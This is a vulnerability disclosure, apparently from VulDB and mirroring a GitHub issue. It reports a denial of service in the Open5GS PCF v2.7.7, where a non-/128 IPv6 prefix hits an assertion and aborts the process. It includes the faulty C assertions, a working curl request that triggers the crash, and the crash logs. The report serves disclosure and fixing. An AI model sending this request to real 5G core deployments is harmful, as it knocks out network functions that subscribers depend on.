제출 #808443: Open5gs PCF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

PCF crashes when `SmPolicyContextData.ipv6AddressPrefix` is syntactically valid
but not `/128`.

The handler asserts that `pcf_sess_set_ipv6prefix()` succeeds:

```c
ogs_assert(true ==
pcf_sess_set_ipv6prefix(sess, SmPolicyContextData->ipv6_address_prefix));
```

Inside `pcf_sess_set_ipv6prefix()`, the parsed prefix length is required to be
exactly `OGS_IPV6_128_PREFIX_LEN`:

```c
ogs_assert(sess->ipv6prefix.len == OGS_IPV6_128_PREFIX_LEN);
```

So a valid prefix such as `2001:db8::1/64` becomes a process-killing assert.

### Steps to reproduce

```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' pcf)

curl --http2-prior-knowledge -m 5 -sS -i \
-X POST "http://$IP/npcf-smpolicycontrol/v1/sm-policies" \
-H 'content-type: application/json' \
--data '{"supi":"imsi-001010000000002","pduSessionId":2,"pduSessionType":"IPV6","dnn":"internet","notificationUri":"http://127.0.0.1:9999/cb","ipv6AddressPrefix":"2001:db8::1/64","sliceInfo":{"sst":1,"sd":"000001"}}'
```

Then check:

```bash
docker logs --since 2026-04-10T18:37:20Z pcf
docker inspect -f '{{.RestartCount}} {{.State.StartedAt}}' pcf
```

### Logs

```shell
curl: (56) Recv failure: Connection reset by peer

04/10 18:37:20.063: [pcf] FATAL: pcf_sess_set_ipv6prefix: Assertion `sess->ipv6prefix.len == OGS_IPV6_128_PREFIX_LEN' failed. (../src/pcf/context.c:675)

The container restarted automatically after the crash.
```

### Expected behaviour

PCF should reject non-`/128` prefixes with a normal HTTP error response.

### Observed Behaviour

The connection is reset and the PCF process aborts on the prefix-length assertion.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• 원천: ⚠️ https://github.com/open5gs/open5gs/issues/4439
• 사용자: LinZiyu (UID 94035)
• 제출: 2026. 04. 20. PM 08:37 (1 월 ago)
• 모더레이션: 2026. 05. 09. AM 09:35 (19 days later)
• 상태: 수락
• VulDB 항목: 362441 [Open5GS 까지 2.7.7 PCF /src/pcf/context.c pcf_sess_set_ipv6prefix SmPolicyContextData.ipv6AddressPrefix 서비스 거부]
• 포인트들: 20